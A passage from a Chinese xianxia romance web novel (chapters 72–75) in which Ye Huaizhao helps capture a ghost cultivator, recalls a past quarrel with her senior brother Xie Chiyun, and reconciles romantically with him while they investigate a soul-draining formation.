她的手中拿着方才齐元明为了拉进关系给她买的一串炸年糕,三两下将食物咽下去后,叶怀昭歪头看向体修:“你好像对我很熟悉?” 她还记得对方第一次见她时,对她的形容并不是“苏白口中提及的叶仙君”。也就是说,他还从别的方面认识过她。 就在叶怀昭思索自己是不是在哪见过这个体修时,齐元明有些不解的声音响起: “如今这修真界,何人不识叶仙君呢?” 叶怀昭眨了下眼睛。 她努力了许久,才勉强将自己的唇角压下去一些,矜持地颔首道:“还好吧,不过只是一个问道大会的魁首而已。” 虽然没得到前拼了命地想要得到,但当真正获得这个名头后,叶怀昭也只兴奋了一小段时间就没了兴趣。 桑春对这种行为评价为:渣而不自知。 齐元明不像桑春说话那样嘴毒,虽是生得凶悍强壮,可性子却是与外表完全不同的腼腆内敛。 他没什么心眼,很诚实便道:“我与庄师妹其实算是同辈,在此之前,我一直以为庄师妹就是此辈修士的佼佼者。直到听说了叶仙君,才知道原来天外有人。” 听到他提起庄丹雪,叶怀昭的心念一动。 她不动声色地问:“说起来,庄仙君是什么时候来到青冥台的?据说庄仙君和庄仙首关系不太好?” 齐元明的神色像是犹豫了一下。 叶怀昭捕捉到这一点,以退为进道:“不回答也没关系啦,只是我和丹雪姐姐认识这么多年,倒是头一次来到她的家乡,想着多了解她一些。” 齐元明心想,虽然大家都说庄师妹和长风门的叶仙君一向不和,可他们得出这个结论的根据似乎也只是她们经常打架。 可经常打架也不意味着关系不好吧?他和沈师兄也经常切磋打架,可沈师兄也并不讨厌他,甚至还经常关照他啊。 更何况,叶仙君是受苏兄的请求来帮他充当诱饵的,她已经冒了这么大的危险,他总要有些表示吧? 不到一瞬,齐元明很快就说服了自己。 他护着叶怀昭躲过向他们挤来的人流,整理好语言,缓缓道:“庄师妹五岁时母亲去世,于是庄仙首便将她从外面带回了青冥台,抚养在身旁。” “至于他们的关系……”齐元明犹豫,“只能说不是很亲近吧。毕竟庄仙首是修真界的仙首,在为修真界操劳时可能就忽略了庄师妹的感受。但是庄师妹倒是很崇敬自己的父亲。” 他想了想,举了个例子:“比如庄师妹最常戴、最喜欢的一支翠色的簪子,就是庄仙首送给她的贺礼。庄师妹很是爱惜,后来有一次不小心被被人斩断了,她还和那人在习道场切磋了三天三夜。” “还有一次青冥台内部的剑修比试,拿到魁首的奖励是仙首亲自赠送的一个法器。那时的庄师妹年纪很小,修为也没有很高,但是为了得到仙首的嘉奖,还是拼了命地拿到了魁首——我们当时都觉得她像是疯魔了一样。” 说到这里,两人正好走到了一家八宝银楼。 几对男女亲密地从门口走出来,女修发鬓上的流苏一晃而过,随着走动发出轻微的响声。 齐元明停住脚步,他犹豫地看了一眼身上什么首饰也没有的叶怀昭。 叶怀昭一眼就看出了他想干什么。 如果在平常,为了伪装,她其实无所谓去什么地方。 但是现在…… 她果断道:“伪装密友也不一定要买首饰——我们再去旁边的吃食摊逛一圈吧。” 最初的计划其实是伪装道侣,但是被叶怀昭毫不犹豫地拒绝了。 齐元明没发现什么不对,他听话地“哦”了一声,顺口道:“叶仙君,我看大家都说听到双银环的脆响就代表你来了——怎么今日叶仙君没戴双银环?” 叶怀昭:“……” 你们能不能别老是惦记着我身上的镯子了! 一个两个的,难道都喜欢听她身上叮叮当当的动静吗? 这都是什么古怪癖好啊。 叶怀昭咬着牙,再一次地重复:“忘了。” 她果断转移话题:“那庄仙君和沈仙君的关系如何呢?” “沈师兄吗?”齐元明沉思片刻,“如果一定要形容的话,我觉得一个词可以概括。” 在叶怀昭的目光下,他字字铿锵有力。 “——长兄如父。” 叶怀昭呆了片刻,心中升起一个巨大的问号。 怎么回事,按照她从庄丹雪听说的,她和沈玉山的关系应当很不好啊? 齐元明却自有一套他的说法:“庄仙首常年闭关,很少有时间照顾庄师妹。而沈师兄作为庄仙首的大徒弟,很多时候都是他代替父亲的身份去照顾庄师妹的。” “虽然庄师妹对沈师兄的态度很别扭,但至少沈师兄还是很喜欢自己这个师妹的。” “等一下。”叶怀昭,“你说的这个喜欢,是哪种喜欢?” 体修天真无邪的目光看向叶怀昭,茫然道:“呃,就是同门师兄妹的情谊?” “……”叶怀昭,“好的,没问题了,你继续。” “其实也没什么好说的了,”齐元明抓了抓头发,“庄仙首不常露面,有关他的命令一般都是沈师兄代为传达,替他处理事务。而庄师妹在这些年中一直执着于修炼,其实对于权势也不怎么追求,所以他们的关系只是亲近中的平淡。” 这么说,好像也没什么特别。 叶怀昭的心中刚刚升起这个念头,就见庄齐元明像是想到什么似的忽然道:“哦,可能最近是冷淡了一些。听从问道大会回来的师兄说,庄师妹似乎和沈师兄大吵过一架。” 叶怀昭微微挑眉。 吵架?沈玉山那种性格会和庄丹雪吵架? 她好奇问道:“他们为什么吵架?” 齐元明:“不太清楚。沈师兄在意的事情有很多,不过能让庄师妹和自己师兄吵起来,除了有关庄仙首的事,大约也就只剩修炼了吧。” 叶怀昭若有所思。 两人已经从长街的一端走到了另外一端,眼见就要走出城门了,原本神态轻松的体修忽地一僵。 他猝然顿在原地,瞳孔不自然地紧缩,冷汗在短短几息间浸透了整个后背衣料。 “她、那个东西……”体修神色惊惧,声音断断续续,“我感觉到了,她又……” “你怎么不走啦?”叶怀昭忽然打断了他的话,装作无知地问:“我们不是说好了,要再逛一会吗?” 在旁人看不见的地方,她缩在宽袖中的手指微动,用灵盘轻轻敲击了几个字,发送。 【叶怀昭:出现了。】 暗处。 站在阴影中的医修微微眯起眼眸,黑亮的眼珠映着灵盘的幽幽光芒。 他轻轻勾起唇角,活动着筋骨,双手交叠向前抻去爆出清脆弹响。 【苏白:去城外。】- 东阳城外。 空旷无人的幽深山谷中,溪流潺潺流淌,河妖被魔气缠绕的尸首死不瞑目,注视着站在溪流旁,一道颀长挺拔的人影。 男人平复了自己心中躁动的杀意,转身向着河妖的尸首走来。 他身上的白衣纤尘未染,可随手折断的树枝上却落满猩红发黑的血迹,足以见得一路走来多少妖兽毙命于这根脆弱的树枝上。 谢迟云将那根树枝丢在河妖的尸首上,而后手指掐诀,纯净的灵力代替魔气,燃起的火焰在一瞬间将所有半魔的痕迹吞噬。 他慢慢归于浅淡的眼眸安静注视着灼热的火光,面无表情。 在某一瞬间,火星发出一声微弱的爆响。 垂手站在火堆前的男人忽地眼神一冷,反手一道饱含杀意,以灵力构成的箭矢飞向山谷的入口。 “谁?” 箭矢穿透山谷雾气,而溪流撞在漆黑的暗石,迸溅起细碎水花之时,也被箭矢飞速地划过,凶悍攻向翩然落下的一道人影。 ——却被那人伸出两根手指,精准地夹住。 来人翻了个手腕,将灵力所化的箭矢握在手中把玩,声音含笑:“这么不欢迎我吗,乘玉君?” 谢迟云侧首,目光冷淡地看着站在溪流另一端的魔族。 “找我何事?” 魔族没有第一时间回答这个问题。 他慢悠悠地向谢迟云的方向走来,过河的前一瞬却又是数根箭矢飞射到他的身前,正好拦住了他的脚步。 桑流挑了下眉,只好无奈道:“好吧好吧,我不过去——不会让小师妹发现自己师兄的身上沾了魔气、暴露你身份的。” 谢迟云没有反驳叶怀昭不知道他魔族身份的这句话。 但他还是因为对方提及了叶怀昭而轻微蹙眉。 桑流察言观色的能力极强,在第一时间就意识到了谢迟云是因何而皱眉。 他脸上的笑意越发明显:“诶呀,现在就要皱眉了,那一会可要怎么办呢,乘玉君?” 他望着对方那双只缠着几缕血丝的琥珀色眼眸,轻声道:“你不知道吧,在乘玉君离开的这三日中,你千娇万宠、心生爱慕的小师妹——已经开始和另外一个男人卿卿我我啦。” 说完这句话,他眼睛一眨不眨地盯着溪流对岸男人的神色。 但令人失望的是,男人依旧保持着面无表情,像是根本不为这条消息所动。 他说:“你跟踪她。” 桑流:“……” 他脸上的笑意渐渐散去。 “是啊,我跟踪她。”他无趣地将自己手中的箭矢捏碎,灵力的碎光晃过他猩红色的眼眸,被魔族不耐烦地挥手散去,“好不容易遇到一个让乘玉君不惜放弃生命也要去救的人,我当然会好奇。” 谢迟云平静道:“我警告过你,不要插手我的事情。” 他与对岸的魔族对视。 溪流不断地撞击礁石,发出哗啦哗啦的声响。 天幕的夕阳渐渐落下,黑暗自远方的一线升起。 不知过了多久,魔族率先移开了目光。 “都说了,我只是好奇。”他撇了撇嘴,说,“不插手就不插手,难道我很想关注你吗?真是好心当成驴肝肺。” 他嘀咕着,而谢迟云始终保持着冷淡,似乎在见到他的那刻就没了说话的欲望。 魔族身上的金饰晃了晃,最后伸出一根手指比在面前。 “不过我之前说的那句话可没在开玩笑。” 他歪了下头,猩红色的眼眸直指那双与他弧度相似的眼眸。 “你再没有动作,小师妹可就要跟人跑了,”他弯了下唇,“你能容忍吗,哥哥?” 第73章 第七十三章“师妹觉得,我有这个资格…… 苏白的优势在于悄无声息地毒杀,而叶怀昭和齐元明的优势在于正面袭击。 他们三个都不擅长与躲在暗处的敌人交手,于是只能尽可能地想办法引那背后之人主动出来。 当那背后之人经受不住挑衅,露出马脚时,便轮到了他们三人的主场。 但是计划是一方面,真正实施又是另外一种情况。 叶怀昭和齐元明在东阳城内逛了一个时辰,又在城外绕了将近一个时辰,从日落走到黑夜,临近亥时,那背后之人才终于忍不住了。 原本还亮着明月微光的夜幕刹那间暗下,四周漫起伸手不见五指的 白雾,顺着树枝滴落的水珠在下坠的一瞬间冻结。 视野被白雾吞噬那刻,叶怀昭的长剑瞬间出鞘,循着本能抬手劈向身后骤然逼近的阴冷气息! 剑刃与漆黑雾气接触的一刹那燃起灼热明亮的火焰,似人非人的鬼魂发出一道刺耳的尖啸,却无法阻挡地被火焰吞噬殆尽。 但叶怀昭周身的白雾越发浓郁,黑暗之中似是无数的鬼物在窥伺,阴冷气息长久不散。 站在白雾中的少女挑眉。 “还以为要再耗一会呢,”她嘀咕说,“真沉不住气。” 似是被这一句话激怒了,白雾中忽地响起来无数道直击灵识的凄惨泣音,伴随着一股腐烂的味道,整个树林活了过来。 尸骸破土而出,漆黑冤魂重叠着尖叫。 他们不约而同地向站在中央的少女攻来。 叶怀昭的发丝被凌厉的风吹起,宽袖猎猎作响。 齐元明不见了,要么是他被拉入了幻境,要么是她如今就在幻境。 但无论是哪种情况,对叶怀昭而言都是照打无误。 她抬手掐诀,赤色的灵力如潮水般倾泻而出。 “地火敕令。”叶怀昭轻声道。 话音落下的一瞬间,赤色红莲的虚影在她的身后展开,层层叠叠的花瓣在漆黑夜幕中轻柔地绽放,飘落的花瓣流星般落下,点燃整个树林。 火舌将所有向叶怀昭袭来的鬼物吞噬,冲天的火光将漆黑夜幕映得如同白日,未被燃尽的鬼魂似是想要逃离,被接连落下的红莲业火再次点燃。 短短几个呼吸,群魔乱舞的幻境破碎。 叶怀昭的眼前一花,明月在湖面折射的清冷微光晃过她的眼眸。 呜呜咽咽的哭声从身后传来。 “我、我只是在保护齐公子,并不是想要害他的。” 叶怀昭转头,看到一个狼狈不堪的女子瘫坐在地上,正抹着眼睛呜呜地哭。 她哭的时候,被巨大长蛇咬在嘴里穿着红嫁衣的新娘子也在哭,血泪哭花了精致的妆容。 苏白环胸抱臂站在长蛇的一旁,不为所动:“你保护他的方式就是每天驱鬼扰得他夜不能寐、时时刻刻跟踪他、威胁他不许和女子接触吗?” 鬼修泪眼婆娑,反问他:“他已经和我结了道侣,为什么还要和那些女人卿卿我我?” 苏白、叶怀昭:“?” 原本还神情恍惚的齐元明霎时间惊醒,他从脖子到脸一下子爆红,语无伦次说:“什、什么?什么道侣?我什么时候有道侣了?” 被苏白的术法困在地上的鬼修顿时睁大了那双哭红的眼睛,声音扬高:“你难道要抛妻弃子吗?!” 齐元明比她还崩溃:“我什么时候又有孩子了?!” 鬼修激动得站起身,又被术法割出一道道的血痕,可她毫不在意,只是一昧道:“我喜欢你,对你一见倾心,在梦境中多次对你表达倾慕之心——你一直没有拒绝我,难道不是接受了我、爱上了我吗?!” 她反手指向旁边被长蛇咬在嘴里的新娘子,愤怒道:“这是我们的孩子,难道你就忍心这么对待她吗?” 这一番话说得不仅齐元明目瞪口呆,只是在旁围观的叶怀昭和苏白也被震得许久都没说话。 城外的树林死寂无声,只有夜风呼呼地刮过繁茂枝叶,枯叶沉默地落到地上。 苏白终于从方才的震惊中回神,真心实意道:“这位鬼修小姐,你有这样的自信可不可以分给我一点?我这辈子最大的心愿就是可以无视所有人的眼光,随心所欲想干什么就干什么。” 他双手合十,对着鬼修拜了一拜:“不多,只要分我一半的一半就够了。” 齐元明:“……” 他从未有一刻像是现在这样无力:“你、算了,我看你也是青冥台的弟子,我们一同去见戒律堂堂主吧。” 鬼修依旧在哀怨地哭着,声声泣血地在骂他无情,说他一定又是被哪个狐媚子勾了心神不要她了,但那女人一定不会像她这样对他那么好,没了她的保护他该怎么办。 齐元明听得面色难看,却强忍着没有动手,反倒是苏白听得大脑嗡嗡作响,想要抬手封住她的声音。 叶怀昭拦住了他。 在两人的注视下,她转头看向满身狼狈的鬼修,冷不丁问道:“你没有想要他的魂魄?” 鬼修的哭声戛然而止。 她抬起脸,用那双通红的眼睛注视着叶怀昭。 半晌,她忽然抹了抹眼睛,声音哀怨地说:“我没有。我怎么可能想要他的魂魄?” 苏白意识到了问题。 “他最近一直在做的那个噩梦不是你干的?” 鬼修的脸上忽地爆发出强烈的恨意,长长的指甲深深陷进了掌心,鲜血顺着手掌滴滴坠落。 她咬牙切齿:“都是那个让你抛弃我的女人,是她一直想要害你,想要取走你的魂魄、霸占你的身体!” 没等苏白细问,鬼修就已经回归了自己方才的哀怨神色。 她凄惨地望向体修,抹着泪说:“没了我,你可怎么办啊……” 叶怀昭警觉地眯了眯眼睛。 她自动将鬼修的这番话进行了修正:鬼修只是想让齐元明继续和她做夫妻,却没想取他性命,真正让齐元明魂魄衰弱的另有其人。 如果一个人本身魂魄虚弱,是有可能被孤魂野鬼看上,试图霸占身体的。 可齐元明之前的梦境那样真实,还随着他的魂魄衰弱而循序渐渐,显然不是普通的孤魂野鬼可以做到的事情,甚至可能就是有人设了什么阵法祭坛。 这就奇怪了。 叶怀昭轻轻摩挲着手指,若有所思地想。 齐元明一直住在青冥台,他甚至还是内门弟子,与众多仙师仙尊挨得很近。 是什么人、什么阵法,可以绕过东阳城的监管、青冥台的阵法,在仙首的眼皮子底下取他人魂魄呢? 苏白要带着齐元明将鬼修押回青冥台,但只将叶怀昭一个人扔在外头他又觉得有些过意不去,正思索着要不要再摇个人来时,他们的身后忽然响起一道熟悉的声音。 “师妹怎么在这?” 他猛地回头,看到一身白衣的青年肩上落着月光,眸光沉静地向着叶怀昭的方向看去。 叶怀昭回过神,有点诧异:“师兄?” 苏白大喜过望:“哎呦乘玉君竟然也在这里!” 他之前的纠结一扫而空——乘玉君在这里,还找什么其他人?这位可是叶师妹的嫡亲师兄,最不可能对她做什么坏事的就是乘玉君了! 谢迟云看向被五花大绑的鬼修,清冷月光下越发通透的眼眸扫过苏白和身旁的体修,最后出声问道:“几位这是在做什么?” 苏白自觉解释道:“我在帮一个朋友抓人,叶师妹是被我们叫来临时当诱饵引这鬼修上钩的。” 他想了想,又补充说:“我保证,叶师妹只负责伪装我那朋友的亲近之人,她连一根汗毛都没有伤到!” 叶怀昭真想对苏白说一声别说了。 她选择直接打断了两人的对话:“苏白师兄,我和师兄一会一道回去,不用担心我了,你快和齐仙君去青冥台吧。” 苏白眨了下眼,停顿一瞬后才说:“哦哦,那就拜托你了乘玉君!” 说完这句话,他直接和齐元明带着鬼修溜走了。 树林中,叶怀昭和谢迟云对视。 叶怀昭没话找话问:“师兄,你怎么这么快就回来了?” 她还记得谢迟云说自己可能会四五天才会回来,如今可是才第三天,这么快他身上的魔气就消散了? “提前解决了混乱。”谢迟云慢慢走过来。 叶怀昭习惯性地伸手去拉谢迟云的手腕,想要用灵识探查他体内灵力的波动情况。 可她甚至还没来得及抬起手,眼前的视野就忽地一暗。本应抓住别人的手腕被一双手按住,然后整个人被拽进了一个冰冷的怀抱。 叶怀昭:“……师兄?” 她微微睁大眼睛,有点诧异地抬起头,想要去看男人脸上的表情,却被按住了后颈动弹不得,只能呼吸着谢迟云身上浅淡的檀木清香。 谢迟云没有回答,他抱着被自己的外衣裹住的师妹,御风术运转到极致,不到片刻便从东阳城外回到了客栈。 叶怀昭被推进了没有点灯的昏暗房间中,背靠着禁闭的房门。 她下意识仰头,看到只有零星一点月光透过窗棂落在身前男人的身上,照亮他绷紧的下颌。 她本能地说:“我们没有多做什么。” 不对,我说这个干什么? 叶怀昭懊恼地咬唇,这么说得怎么好像她在欲盖弥彰似的? 她有什么好心虚的。 谢迟云垂眼望着她,叶怀昭这才发觉男人眼中竟然还有一点没有退却的猩红。 都这样了他竟然还敢出现在苏白的面前? 叶怀昭走了一瞬间的神,又忽然被唇边的按压感唤回心神。 “我知道。”谢迟云的指腹按在少女殷红的唇上,看着被她自己咬出的浅浅齿痕,眸色幽暗晦涩,“我相信 你,师妹。” “更何况。” 他的指腹挪开,柔和地擦过叶怀昭的脸颊,让她不自觉地发痒,想要侧首躲开。 可听到下一句话,叶怀昭的动作忽地顿住。 “——师妹觉得,我有这个资格质问你吗?” 她的师兄说。 第74章 第七十四章“因为我愿意。” 叶怀昭听到这句话,却不自觉地皱了眉。 少女转过脸,盯着自己身前的男人,目光停留在他被月光浸染的眼眸上。 她忽然发觉谢迟云这人矛盾得很。 过往的经历让他对所有未知的事情都抱有悲观态度,可骨子里偏执和占有欲又让他控制不住地想将一切他想要的东西抓在手里,而十几年的修真界生活又让他知道他不能随心所欲,他需要考虑索求之人的感受。 种种矛盾杂糅在一起,共同塑造了站在叶怀昭身前的男人。 她在他的眼中看到了压抑的情愫,猩红肆虐的欲望被理智约束,落在她的身上时就只是轻轻擦过唇角,像是轻风抚过落在池水上的花瓣。 想要掀起浪潮将花瓣淹没,可又怜惜着花瓣的柔软。 叶怀昭垂着眼,想起来一件曾经被她刻意遗忘的事情。 璇玑湖的水下渡气并不算是她和谢迟云第一次“亲吻”。 在这之前、在无忘川之事发生之前。 他也曾卑劣而充满占有欲地抓着她的肩膀,与她唇齿相贴。 那一年南境内忽然有妖魔祸乱人间。 事发突然,叶珩来不及将外出历练的弟子召回,只好将还留在门中的弟子派出了大半。 叶怀昭就在此列。 起初一切正常,叶怀昭当时的修为水平还不算很高,但解决几个落单的妖兽魔族完全不在话下,很快就将她负责的那一块地界的祸乱解决完。 而这时,她收到了季衡远发来的求救讯号。 季衡远负责的那块地界并不是什么危险的地界,以他的水平足够自己解决。 事实也的确如此,他发求救讯号并非是真的求救,只是想让距离最近的叶怀昭过来。 但当时的叶怀昭并不知道。 她去找了季衡远,然后在回程路上遭到魔族袭击,为了救他自己身中数箭,差一点就要死在路上。 没死的原因是谢迟云循着她的灵力找了过来。 他没管身后六神无主的季衡远,抱着不断流血的叶怀昭便疯了般地向长风门赶去,直到见到颂慈仙尊,他才松开了紧紧抓着她的手。 在养伤期间他什么也没说,甚至叶怀昭想做什么就做什么,即便指使着他,让他千里迢迢跑去南境某座城池、去买那一家的紫苏饮,他也会御风为叶怀昭带来。 只是他从没告诉过叶怀昭,季衡远曾经多次想要来探望她,却被他面无表情地拦在了院外。 伤好后,得知此事的叶怀昭向谢迟云询问。 而他看着她,声音平静说:“师妹不该总是纵容他。” 叶怀昭本来不怎么生气,她其实想好好和自己师兄沟通的,毕竟无论怎么说,是他救了她还照顾了她一个月。 但此话一出,叶怀昭之前给自己做好的心理建设全部崩盘。 就在她院中的花架前,他们爆发了前所未有的争吵。 确切来说,是叶怀昭气得手指都在颤抖,而被她揪住衣领的青年却只是安静看着她,时不时用冷淡的声音说上一句话。 他说的很少,却字字句句都在踩着叶怀昭的怒火。他的样子越发平静,就越让叶怀昭觉得他根本就不在意自己的感受。 叶怀昭承认,当时的她应该已经对谢迟云有了朦胧的好感,只是当时不仅她没有意识到、就连谢迟云也没有意识到。 他什么都不说、只是一味替她解决身边窥伺之人的行为只会让叶怀昭觉得他在肆意插手她的人生。 他们争吵,在听到谢迟云认为她只是单纯厌恶他时,叶怀昭的满腔委屈尽数爆发。 在怒火掺杂着委屈的情绪中,她直接说出了自己此生最后悔的一句话。 “谢迟云,你以为师兄的身份算是什么吗?”叶怀昭的大脑嗡嗡作响,口不择言说,“你不是我的哥哥、更不是我的道侣。以后世上会比你更加重要、让我愿意为他解释、愿意被他管束的人多了去了,你永远都不会在其列。” 她一口气说完,没有看到青年骤然冷下的目光,只一昧道:“——就算是师弟,也会比你更加重要!” 谢迟云没了声音。 叶怀昭说完理智才回神,她知道自己在说着违心话,却一点也不想和他道歉。 ——他根本不在意我想什么,那我在意他做什么? 抱着这样赌气的态度,她说完这句话后转身就想走,却被男人忽然抓住了手腕。 然后天旋地转间,她便被压在了身后花架上。 放在隔层上的花盆因为撞击而震颤,不少将坠未坠的花瓣草叶都纷纷扬扬地飘落。 花瓣擦过叶怀昭的额头,又划过她的眼前。 她刚想挣扎抵抗,便听到将自己压在花架上的青年声音低缓说:“你愿意为怎样的人予以优待、敞开心扉?” 叶怀昭靠在花架上,不动了。 她抬头,看着眼中翻涌着强烈杀意的男人。 这个杀意并不是对她的,可叶怀昭却看得讽刺。 ——他有什么资格愤怒? 她的心中忽地升起一股不知从哪里来的冲动。 这种冲动像是当初她突发奇想跑去了乱葬岗、像是她循着直觉将刚入宗门的少年拉到身边、像是她明知自己在被所有人注视,偏偏不假思索地便将所有嘲笑自己师兄“无父无母”的同门弟子打进药馆。 不知缘由,也不计后果,任性得不管不顾。 她顶着谢迟云冰冷的怒火,忽然抬起手勾住他的脖颈,逼得他不得不弯腰,伸手撑在了她的脸旁。 熟悉的浅淡檀木香侵染嗅觉,而叶怀昭却眼睛眨也不眨,踮脚咬住了他的嘴唇。 一瓣白色的花瓣被她不小心含住,又被鲜血浸染得晕红,在慢了半拍回过神的撕咬中化作丝丝缕缕、咽进喉咙。 很难说究竟是谁在放纵自己的欲望。 或许只有一人,或许两者皆有。 这个吻被怒火熏染,被爱欲纵容、又在卑劣的占有欲中燃烧至顶峰。 叶怀昭身后的花架被撞翻,噼里啪啦的碎瓦声落在地上,却没能掩住错乱的呼吸。 而谢迟云掐着她的后颈,一边护着她倒在花架旁的草地上。 草叶的汁液将他们身上的衣物浸染,撕扯中谢迟云被叶怀昭推到草地石头上,尖锐的边缘将他的手臂割出一条长长的血痕。 他自唇齿间闷哼一声,而叶怀昭猝然回神。 她跨坐在男人的腰上,他的衣襟被扯得松松散散,隐约露出几道无意间抓出的血痕。 叶怀昭看着他被咬破溢血的嘴唇,忽地有点不敢去看那双眼睛。 她从地上站起身,没 有理会身后直直望着她的男人,转身逃也似地向自己屋中走去。 这一次谢迟云没有拦她。 但在关门前,他还是听到了少女故作冷淡的声音。 “我只会愿意为我愿意的人优待。”叶怀昭说,“我们会做无数遍这件事情、乃至更亲密的事情——而你只会有这偷来的一次。” “你只会是师兄。” 关上门,叶怀昭靠在门扉上,伸手去碰自己破损的嘴唇。 她的唇齿间皆是被撕咬出来的血腥味,却隐隐有花瓣的清香。 叶怀昭发觉自己院中属于谢迟云的气息久久停留,像是要站到天荒地老也不离开一样。 她没有理会,就着满身的狼狈滚进了被窝。 那时候的叶怀昭心想,谢迟云只会拥有从她未来道侣偷来的这一次放纵。 而她也只会拥有从谢迟云对她任性妄为的放纵中,偷来的这一次假戏真做。 她从未将这个撕咬当真。 因为对她还是谢迟云而言,这只是一次卑劣的偷窃。 一个踩着破碎瓦片,从未成真,充满血腥的幻梦。 也就是靠着这么一点甜蜜的幻梦,让她后来看到即将被风雪吞噬的谢迟云,才生出来一丝本不该有的贪念。 她的贪念让她接过了那把伞。 让她在无忘川将死之时说出了本不该说的话。 让她跌入了同一片深不可测、可又清透见底的池水之中。 ——直到此时她又一次的听到同样的问话。 叶怀昭被谢迟云抵在墙上,忽地笑了一声。 她笑得很是莫名,偏偏又克制不住,喘着气,眼角都泛起泪花。 谢迟云怔了一瞬,不太理解她为什么要笑,只是循着本能伸手擦过她湿润的眼睫。 而叶怀昭伸手抓住了他的手腕。 她认真说:“我之前并不认识齐元明,接下他的请求只是看在苏白师兄的面子上。完成请求后一直没走也只是因为他身上发生的事情或许与庄仙首、与山槐有关。” 谢迟云注视了她片刻。 他说:“为何要说这些?” 叶怀昭:“因为我愿意。” 她的回答莫名其妙。 只有谢迟云知道她真正想说的是什么。 他眸光中的情绪一点一点变化,像是忽地意识到了某些事情的改变。 被叶怀昭抓住的手轻轻落到她的脖颈,他像是上一次那样扣住了她的后颈。 寂静无声的深夜,他俯下身子,与少女抵着额头。 极近的距离中,呼吸交触又散开,克制的暧昧缓缓流淌。 他压低了声音,像是怕惊扰了什么,只轻声说:“我不是师兄了?” 叶怀昭知道他在翻旧账。 他在为曾经那句“你只会是师兄”而耿耿于怀。 她眨了下眼,黑亮的眼眸弯起,笑意在其中越发清晰,像是闪烁着星星点点的月光。 “你当然是师兄。”叶怀昭说,“是能让我在心中为你留下一个纵容优待名额的师兄。” 谁又说师兄不能是道侣呢? 叶怀昭心想,反正她知道,师兄将她按在墙边垂首,绝不是只为了将她按在墙边。 第75章 第七十五章第三次 叶怀昭曾经并不想让谢迟云意识到自己喜欢他。 她总是要和人争个高下,即便在感情上也是如此,却忘了在这种事上从来没有什么赢家或输家。 她总矜持地故作冷淡,却没想自己反而越陷越深,直到此时才恍然发觉自己早已无法挣脱来自谢迟云的怀抱。 ——或许不能是“无法”,而是不愿。 不愿伤他,不愿让他伤心,不愿让他失望。 世上能让叶怀昭心软的人有很多。 可心软到愿意让她将自己也赔进去的人只有一个。 漆黑的屋中没有点灯,而两个身负灵力的人也没有一个愿意将灵力在周身燃起。 伸手不见五指的黑暗中,叶怀昭勾着谢迟云脖颈颤抖,手指不自觉地掐住了他的肩颈,指节绷起泛白的颜色。 谢迟云将叶怀昭一缕黏在脸颊边上的碎发挑开,问她:“师妹想给我的是哪种纵容呢?” 叶怀昭觉得他就在明知故问。 她向后仰头,勉强躲开了男人在灼热的呼吸,好不容易才让自己的声音没有那么颤抖,声音发紧说:“你以为呢?” 少女伸出脚,不轻不重地踢了一下谢迟云的小腿,半是抱怨地说:“如果我没有纵容你,你还会站在这里吗?” 然而她的脚才踢了一下,就被人抓着膝窝拎了起来,她重心不稳地向旁倒,又被抓住了另一只膝窝。 叶怀昭:“!” 她的身体蓦地腾空,失重带来的危机感让她本能地抓住了自己最近的肩膀,双腿下意识紧紧勾住了身前男人的腰上。 她听到了一声轻笑。 叶怀昭:“……” 她后知后觉的脸热,用力锤了一下男人的肩膀,小声骂他:“说好不动手的呢?” “师妹,”罪魁祸首垂着眼睛,像是有点委屈地说,“这里是我的屋子。你闯入我的屋子、还指责我先动手——这也是你对我的‘纵容’吗?” 叶怀昭整个人挂在他的身上,全身的平衡全靠对方维持,过近的距离甚至能让她听到相贴胸膛随着说话的震动。 她缓过气,故意说:“怎么了?纵容就只是纵容,再多的要看你的表现才能给。” 叶怀昭微微抬头,看着那双在黑夜中显出一点猩红色颜色的眼眸。 “师兄,你可是教过我,人不能不劳而获。”她凑近对方的面颊,无辜说,“我的纵容也有限度,万一你哪天惹我生气了,我可还要收回来。” 谢迟云安静听着她恶劣任性的话,最后说:“怎样的事师妹会生气?” 叶怀昭还真被他问住了一瞬。 谢迟云将她放在旁边的桌子上,让她不用总仰着头看他,自己则是弯腰替叶怀昭整理散乱的衣服。 他自己上半身的衣服被叶怀昭抓得松松散散,隐约露出伤痕交错的胸膛。但叶怀昭倒是还算是齐整,因为他在最后勉强控制了自己。 只是在帮师妹整理衣袖的时候,他的目光微微一顿。 少女的手腕自然地撑在身下桌子上,半截裸露在外的手臂沐浴着月光,白皙透亮得几乎像是一块温润的玉。 ——但是她手腕上的镯子全部不见了,只在右手腕上留着听白剑伪装的银环。 谢迟云不动声色地将她的袖子拉下,盖住手腕。 叶怀昭还在沉思,没发觉男人一瞬间的停顿。 半晌,叶怀昭才说道:“你若是又瞒着我,试图一个人解决所有事情,那我会很生气。” 谢迟云等了一会:“只有这个吗?” “你还想做什么惹我生气的事?”叶怀昭又不满地踢了他一脚,“你若是敢在这之后还喜欢上其他人,那就不是生气这么简单了。” 谢迟云:“这件事情永远不会发生。” 叶怀昭眯了眯眼睛,像是觉得他回答得过于不假思索,又补充说:“你若是做了,那无论你逃到什么地方,我都要把你千刀万剐杀了。” 她的眼中和说话的语气,无一不在证明这句话的认真。 谢迟云于是也认真说:“这件事情从前没有发生,以后也不会发生。” 叶怀昭盯了他几瞬,这才冷哼一声转过脸。 她自觉自己不应该在一开始就对他过多纵容,否则以后该怎么办? 总得要循序渐进。 自觉克制的叶怀昭开始说起正事,言简意赅地对谢迟云解释了一遍在齐元明身上发生的事情,最后道:“我怀疑在青冥台中存在着一个会影响他人魂魄的阵法或者祭坛。” 谢迟云把玩着她散在肩上的发丝。 他冷不丁说:“庄仙首最近回了东境。” “他没有在第一时间回青冥台,却瞒着所有人去了一个地方,”谢迟云轻声说,“那个地方有一个魔也曾去过,甚至还在那里一直停留没有离开。” 叶怀昭知道谢迟云有自己的势力,这些事情应该就是他暗中调查得来的情报。 在那日从玉水洞挑明身份后,他和自己的手下联络时便没怎么瞒着她,只是叶怀昭一直没有主动去研究过而已。 但即便没有主动研究,叶怀昭也知道他养了手底下那一帮修士魔族半魔并不仅仅是为了给自己搜集情报。 或者说,搜集情报只是手段,是为了达成他最终目标的一个方式。 这个目的叶怀昭没有细问,但她知道或许与他口中所说“解决寿命只剩一年问题”的方法有关。 关于这个方法 ,谢迟云没有说,但从颂慈仙尊那里,叶怀昭已经隐隐有了猜测。 那是一个孤注一掷、九死一生的唯一生路。 叶怀昭心中微沉,却被自己脸颊上轻柔的痒意唤回心神。 谢迟云用她的发尾扫着她的面颊,温声说:“在想什么,师妹?” 叶怀昭摇摇头,没有多说,而是道:“你说的那个魔,应当就是山槐吧。” 谢迟云:“是的。” 